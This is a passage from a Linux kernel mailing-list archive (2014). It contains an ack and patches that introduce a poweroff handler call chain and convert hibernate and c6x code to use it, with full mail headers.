Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412349475 27073 80.91.229.3 (3 Oct 2014 15:17:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Oct 2014 15:17:55 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
        Aurelien Jacquiot <a-jacquiot@ti.com>
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Oct 03 17:17:48 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Xa4c6-0000ry-90
	for sgi-linux-mips@gmane.org; Fri, 03 Oct 2014 17:17:46 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:48599 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010495AbaJCPRoac2bo (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 3 Oct 2014 17:17:44 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 03 Oct 2014 17:17:30 +0200 (CEST)
Original-Received: from mx1.redhat.com ([209.132.183.28]:23355 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27010488AbaJCPR2yE0Rf (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 3 Oct 2014 17:17:28 +0200
Original-Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s93FHOx6030781
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Fri, 3 Oct 2014 11:17:24 -0400
Original-Received: from [10.3.113.98] (ovpn-113-98.phx2.redhat.com [10.3.113.98])
        by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s93FHMpT007204;
        Fri, 3 Oct 2014 11:17:22 -0400
In-Reply-To: <1412100056-15517-8-git-send-email-linux@roeck-us.net>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27
X-archive-position: 42938
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: msalter@redhat.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44087 gmane.linux.kernel:1800511 gmane.linux.power-management.general:50528 gmane.linux.ports.arm.kernel:361968 gmane.linux.ports.ia64:24450 gmane.linux.kernel.metag:291 gmane.linux.ports.parisc:6066 gmane.linux.ports.sh.devel:39718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44087>

On Tue, 2014-09-30 at 11:00 -0700, Guenter Roeck wrote:
> The kernel core now supports a poweroff handler call chain
> to remove power from the system. Call it if pm_power_off
> is set to NULL.
> 
> Cc: Mark Salter <msalter@redhat.com>
> Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---

Acked-by: Mark Salter <msalter@redhat.com>

>  arch/c6x/kernel/process.c | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
> index 57d2ea8..ddf088e 100644
> --- a/arch/c6x/kernel/process.c
> +++ b/arch/c6x/kernel/process.c
> @@ -75,6 +75,8 @@ void machine_power_off(void)
>  {
>  	if (pm_power_off)
>  		pm_power_off();
> +	else
> +		do_kernel_poweroff();
>  	halt_loop();
>  }
>  





From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 03/44] hibernate: Call have_kernel_poweroff instead of checking pm_power_off
Date: Mon,  6 Oct 2014 22:28:05 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <1412659726-29957-4-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659770 25440 80.91.229.3 (7 Oct 2014 05:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:30 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	"Rafael J. W
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 07 07:29:21 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XbNKr-00021K-A7
	for glk-linux-kernel-3@plane.gmane.org; Tue, 07 Oct 2014 07:29:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753193AbaJGF3J (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:09 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40145 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752961AbaJGF3E (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 Oct 2014 01:29:04 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=I3SR4Q/d4aHJTkUJ5Y3TcLRykrT2is/gOCrUpJykK/E=;
	b=2AVU1WSm5W7j+0O6Np81P10ByPdZ5awONROIedEfs8wY4bXEI844lwiNtZrzuMM5D7gbI6Z6ac32sJowU/I3p6tpafFWZMocKRX7+XlZVDaRh172hpVd1anq17NVZa5p9x4Mog6tiGhehLXD2P7BkpvHQwUH/mEoNJ/7HqM8rfE=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKZ-002Zvj-K4
	for linux-kernel@vger.kernel.org; Tue, 07 Oct 2014 05:29:03 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32896 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKZ-002Zv6-0R; Tue, 07 Oct 2014 05:29:03 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54337A20.0003,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 7
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1802431 gmane.linux.drivers.devicetree:93021 gmane.linux.kernel.virtualization.lguest:1440 gmane.linux.acpi.devel:71254 gmane.linux.ports.alpha:2425 gmane.linux.kernel.efi:4708 gmane.linux.ports.hexagon:772 gmane.linux.ports.ppc64.devel:105851 gmane.linux.ports.tegra:19454 gmane.linux.kernel.openipmi:2431 gmane.linux.uml.devel:14644 gmane.linux.ports.arm.kernel:362326 gmane.linux.ports.ia64:24461 gmane.linux.kernel.metag:292 gmane.linux.ports.mips.general:44142 gmane.linux.ports.parisc:6067 gmane.linux.power-management.general:50596 gmane.linux.ports.sh.devel:39765
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1802431>

Poweroff handlers may now be installed with register_poweroff_handler.
Use the new API function have_kernel_poweroff to determine if a poweroff
handler has been installed.

Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
Cc: Pavel Machek <pavel@ucw.cz>
Cc: Len Brown <len.brown@intel.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 kernel/power/hibernate.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c
index a9dfa79..20353c5 100644
--- a/kernel/power/hibernate.c
+++ b/kernel/power/hibernate.c
@@ -602,7 +602,7 @@ static void power_down(void)
 	case HIBERNATION_PLATFORM:
 		hibernation_platform_enter();
 	case HIBERNATION_SHUTDOWN:
-		if (pm_power_off)
+		if (have_kernel_poweroff())
 			kernel_power_off();
 		break;
 #ifdef CONFIG_SUSPEND
-- 
1.9.1


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Mon,  6 Oct 2014 22:28:03 -0700
Lines: 259
Approved: news@gmane.org
Message-ID: <1412659726-29957-2-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659770 25442 80.91.229.3 (7 Oct 2014 05:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:30 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Andrew Morto
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 07 07:29:21 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XbNKq-00021K-Cy
	for glk-linux-kernel-3@plane.gmane.org; Tue, 07 Oct 2014 07:29:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752911AbaJGF3B (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:01 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40125 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751214AbaJGF3A (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 Oct 2014 01:29:00 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=N3GWdxDyBtTxspFESvoHlUXT8RAs/5H7I5C7CUAVt2A=;
	b=X80VjFYEVJFnkWjDlav+e79Mpu+2UkHc5DsRDqP3yNYg4HR0u0b9BSlvAF1q83Bg1pR84qQ4KpzOAkO02Jvz2keEznTepm7fXYvOw89+VKKff5MEODtzNcQyHeLDAw6WY6o/muOR3zDEtPKnntv0HcQS0IJHGkJ1wkysfN/ZEg4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKV-002ZqB-Gk
	for linux-kernel@vger.kernel.org; Tue, 07 Oct 2014 05:28:59 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32894 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKT-002Zpj-Tt; Tue, 07 Oct 2014 05:28:59 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54337A1B.00C6,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 2
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1802432 gmane.linux.drivers.devicetree:93022 gmane.linux.kernel.virtualization.lguest:1441 gmane.linux.acpi.devel:71255 gmane.linux.ports.alpha:2426 gmane.linux.kernel.efi:4709 gmane.linux.ports.hexagon:773 gmane.linux.ports.ppc64.devel:105852 gmane.linux.ports.tegra:19455 gmane.linux.kernel.openipmi:2432 gmane.linux.uml.devel:14645 gmane.linux.ports.arm.kernel:362327 gmane.linux.ports.ia64:24462 gmane.linux.kernel.metag:293 gmane.linux.ports.mips.general:44143 gmane.linux.ports.parisc:6068 gmane.linux.power-management.general:50597 gmane.linux.ports.sh.devel:39766
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1802432>

Various drivers implement architecture and/or device specific means to
remove power from the system.  For the most part, those drivers set the
global variable pm_power_off to point to a function within the driver.

This mechanism has a number of drawbacks.  Typically only one scheme
to remove power is supported (at least if pm_power_off is used).
At least in theory there can be multiple means remove power, some of
which may be less desirable. For example, some mechanisms may only
power off the CPU or the CPU card, while another may power off the
entire system.  Others may really just execute a restart sequence
or drop into the ROM monitor. Using pm_power_off can also be racy
if the function pointer is set from a driver built as module, as the
driver may be in the process of being unloaded when pm_power_off is
called. If there are multiple poweroff handlers in the system, removing
a module with such a handler may inadvertently reset the pointer to
pm_power_off to NULL, leaving the system with no means to remove power.

Introduce a system poweroff handler call chain to solve the described
problems.  This call chain is expected to be executed from the
architecture specific machine_power_off() function.  Drivers providing
system poweroff functionality are expected to register with this call chain.
By using the priority field in the notifier block, callers can control
poweroff handler execution sequence and thus ensure that the poweroff
handler with the optimal capabilities to remove power for a given system
is called first.

Cc: Andrew Morton <akpm@linux-foundation.org>
cc: Heiko Stuebner <heiko@sntech.de>
Cc: Romain Perier <romain.perier@gmail.com>
Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
Cc: Len Brown <len.brown@intel.com>
Cc: Pavel Machek <pavel@ucw.cz>
Cc: Alexander Graf <agraf@suse.de>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 include/linux/pm.h              |  13 +++
 kernel/power/Makefile           |   1 +
 kernel/power/poweroff_handler.c | 172 ++++++++++++++++++++++++++++++++++++++++
 3 files changed, 186 insertions(+)
 create mode 100644 kernel/power/poweroff_handler.c

diff --git a/include/linux/pm.h b/include/linux/pm.h
index 72c0fe0..45271b5 100644
--- a/include/linux/pm.h
+++ b/include/linux/pm.h
@@ -34,6 +34,19 @@
 extern void (*pm_power_off)(void);
 extern void (*pm_power_off_prepare)(void);
 
+/*
+ * Callbacks to manage poweroff handlers
+ */
+
+struct notifier_block;
+
+extern int register_poweroff_handler(struct notifier_block *);
+extern int register_poweroff_handler_simple(void (*function)(void),
+					    int priority);
+extern int unregister_poweroff_handler(struct notifier_block *);
+extern void do_kernel_poweroff(void);
+extern bool have_kernel_poweroff(void);
+
 struct device; /* we have a circular dep with device.h */
 #ifdef CONFIG_VT_CONSOLE_SLEEP
 extern void pm_vt_switch_required(struct device *dev, bool required);
diff --git a/kernel/power/Makefile b/kernel/power/Makefile
index 29472bf..4d9f0c7 100644
--- a/kernel/power/Makefile
+++ b/kernel/power/Makefile
@@ -2,6 +2,7 @@
 ccflags-$(CONFIG_PM_DEBUG)	:= -DDEBUG
 
 obj-y				+= qos.o
+obj-y				+= poweroff_handler.o
 obj-$(CONFIG_PM)		+= main.o
 obj-$(CONFIG_VT_CONSOLE_SLEEP)	+= console.o
 obj-$(CONFIG_FREEZER)		+= process.o
diff --git a/kernel/power/poweroff_handler.c b/kernel/power/poweroff_handler.c
new file mode 100644
index 0000000..ed99e5e
--- /dev/null
+++ b/kernel/power/poweroff_handler.c
@@ -0,0 +1,172 @@
+/*
+ * linux/kernel/power/poweroff_handler.c - Poweroff handling functions
+ *
+ * Copyright (c) 2014 Guenter Roeck
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public Licence
+ * as published by the Free Software Foundation; either version
+ * 2 of the Licence, or (at your option) any later version.
+ */
+
+#define pr_fmt(fmt)	"poweroff: " fmt
+
+#include <linux/ctype.h>
+#include <linux/export.h>
+#include <linux/kallsyms.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
+#include <linux/slab.h>
+#include <linux/types.h>
+
+/*
+ *	Notifier list for kernel code which wants to be called
+ *	to power off the system.
+ */
+static ATOMIC_NOTIFIER_HEAD(poweroff_handler_list);
+
+/**
+ *	register_poweroff_handler - Register function to be called to power off
+ *				    the system
+ *	@nb: Info about handler function to be called
+ *	@nb->priority:	Handler priority. Handlers should follow the
+ *			following guidelines for setting priorities.
+ *			0:	Poweroff handler of last resort,
+ *				with limited poweroff capabilities,
+ *				such as poweroff handlers which
+ *				do not really power off the system
+ *				but loop forever or stop the CPU.
+ *			128:	Default poweroff handler; use if no other
+ *				poweroff handler is expected to be available,
+ *				and/or if poweroff functionality is
+ *				sufficient to power off the entire system
+ *			255:	Highest priority poweroff handler, will
+ *				preempt all other poweroff handlers
+ *
+ *	Registers a function with code to be called to power off the
+ *	system.
+ *
+ *	Registered functions will be called from machine_power_off as last
+ *	step of the poweroff sequence. Registered functions are expected
+ *	to power off the system immediately. If more than one function is
+ *	registered, the poweroff handler priority selects which function
+ *	will be called first.
+ *
+ *	Poweroff handlers may be registered from architecture code or from
+ *	drivers. A typical use case would be a system where power off
+ *	functionality is provided through a multi-function chip or through
+ *	a programmable power controller. Multiple poweroff handlers may exist;
+ *	for example, one poweroff handler might power off the entire system,
+ *	while another only powers off the CPU card. In such cases, the
+ *	poweroff handler which only powers off part of the hardware is
+ *	expected to register with low priority to ensure that it only
+ *	runs if no other means to power off the system are available.
+ *
+ *	Currently always returns zero, as atomic_notifier_chain_register()
+ *	always returns zero.
+ */
+int register_poweroff_handler(struct notifier_block *nb)
+{
+	return atomic_notifier_chain_register(&poweroff_handler_list, nb);
+}
+EXPORT_SYMBOL(register_poweroff_handler);
+
+/**
+ *	unregister_poweroff_handler - Unregister previously registered
+ *				      poweroff handler
+ *	@nb: Hook to be unregistered
+ *
+ *	Unregisters a previously registered poweroff handler function.
+ *
+ *	Returns zero on success, or %-ENOENT on failure.
+ */
+int unregister_poweroff_handler(struct notifier_block *nb)
+{
+	return atomic_notifier_chain_unregister(&poweroff_handler_list, nb);
+}
+EXPORT_SYMBOL(unregister_poweroff_handler);
+
+struct _poweroff_handler_data {
+	void (*handler)(void);
+	struct notifier_block poweroff_nb;
+};
+
+static int _poweroff_handler(struct notifier_block *this,
+			     unsigned long _unused1, void *_unused2)
+{
+	struct _poweroff_handler_data *poh =
+		container_of(this, struct _poweroff_handler_data, poweroff_nb);
+
+	poh->handler();
+
+	return NOTIFY_DONE;
+}
+
+static struct _poweroff_handler_data poweroff_handler_data;
+
+/**
+ *	register_poweroff_handler_simple - Register function to be called to power off
+ *					   the system
+ *	@handler:	Function to be called to power off the system
+ *	@priority:	Handler priority. For priority guidelines see
+ *			register_poweroff_handler.
+ *
+ *	This is a simplified version of register_poweroff_handler. It does not
+ *	take a notifier as argument, but a function pointer. The function
+ *	registers a poweroff handler with specified priority. Poweroff
+ *	handlers registered with this function can not be unregistered,
+ *	and only a single poweroff handler can be installed using it.
+ *
+ *	This function must not be called from modules and is therefore
+ *	not exported.
+ *
+ *	Returns -EBUSY if a poweroff handler has already been registered
+ *	using register_poweroff_handler_simple. Otherwise returns zero,
+ *	since atomic_notifier_chain_register() currently always returns zero.
+ */
+int register_poweroff_handler_simple(void (*handler)(void), int priority)
+{
+	char symname[KSYM_NAME_LEN];
+
+	if (poweroff_handler_data.handler) {
+		lookup_symbol_name((unsigned long)poweroff_handler_data.handler,
+				   symname);
+		pr_warn("Poweroff function already registered (%s)", symname);
+		lookup_symbol_name((unsigned long)handler, symname);
+		pr_cont(", cannot register %s\n", symname);
+		return -EBUSY;
+	}
+
+	poweroff_handler_data.handler = handler;
+	poweroff_handler_data.poweroff_nb.notifier_call = _poweroff_handler;
+	poweroff_handler_data.poweroff_nb.priority = priority;
+
+	return register_poweroff_handler(&poweroff_handler_data.poweroff_nb);
+}
+
+/**
+ *	do_kernel_poweroff - Execute kernel poweroff handler call chain
+ *
+ *	Calls functions registered with register_poweroff_handler.
+ *
+ *	Expected to be called from machine_power_off as last step of
+ *	the poweroff sequence.
+ *
+ *	Powers off the system immediately if a poweroff handler function
+ *	has been registered. Otherwise does nothing.
+ */
+void do_kernel_poweroff(void)
+{
+	atomic_notifier_call_chain(&poweroff_handler_list, 0, NULL);
+}
+
+/**
+ * have_kernel_poweroff() - Check if kernel poweroff handler is available
+ *
+ * Returns true is a kernel poweroff handler is available, false otherwise.
+ */
+bool have_kernel_poweroff(void)
+{
+	return pm_power_off != NULL || poweroff_handler_list.head != NULL;
+}
+EXPORT_SYMBOL(have_kernel_poweroff);
-- 
1.9.1


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 02/44] memory: emif: Use API function to determine poweroff capability
Date: Mon,  6 Oct 2014 22:28:04 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1412659726-29957-3-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659783 25570 80.91.229.3 (7 Oct 2014 05:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:43 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
